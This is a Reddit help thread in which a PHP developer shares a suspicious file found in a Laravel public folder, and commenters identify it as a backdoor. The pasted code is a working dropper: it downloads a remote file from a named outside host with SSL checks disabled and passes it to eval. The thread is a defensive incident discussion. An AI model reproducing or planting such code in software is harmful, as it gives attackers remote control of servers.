r/PHPhelp • u/Devnzian • Sep 02 '26
I think its a remote code execution script. what you think ?
Today I found a unwanted file in my public folder of laravel project when I was pull from server. and I found a php file contain
<?=
$protocol = "https";
$domain = "www.fcalpha.net/";
$file_path = "/web/photo/20151024/m.txt";
$url = $protocol . "://" . $domain . $file_path;
function fetch_with_curl($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // optional: skip SSL verification
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // optional: skip hostname verification
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$content = fetch_with_curl($url);
if ($content !== false) {
eval("?>" . $content);
}
?> Could you tell me whats the outcome of this code?
Note: dont run it on your server or pc
4
Upvotes
6
u/nicoSWD Sep 02 '26
fcalpha.net is no longer reachable, but that's definitely bad. Looks like you both got hacked. m.txt used to contain malicious PHP code and they could run whatever they wanted on your server.
You probably should wipe the server, install the site on a fresh instance, change all passwords, etc. If you host sensitive user data, you might have some GDPR issues too.
2
u/No_Astronomer9508 Sep 02 '26
Yes. It's a RCE - Script / Backdoor. You should delete it and turn uploads off in php.ini.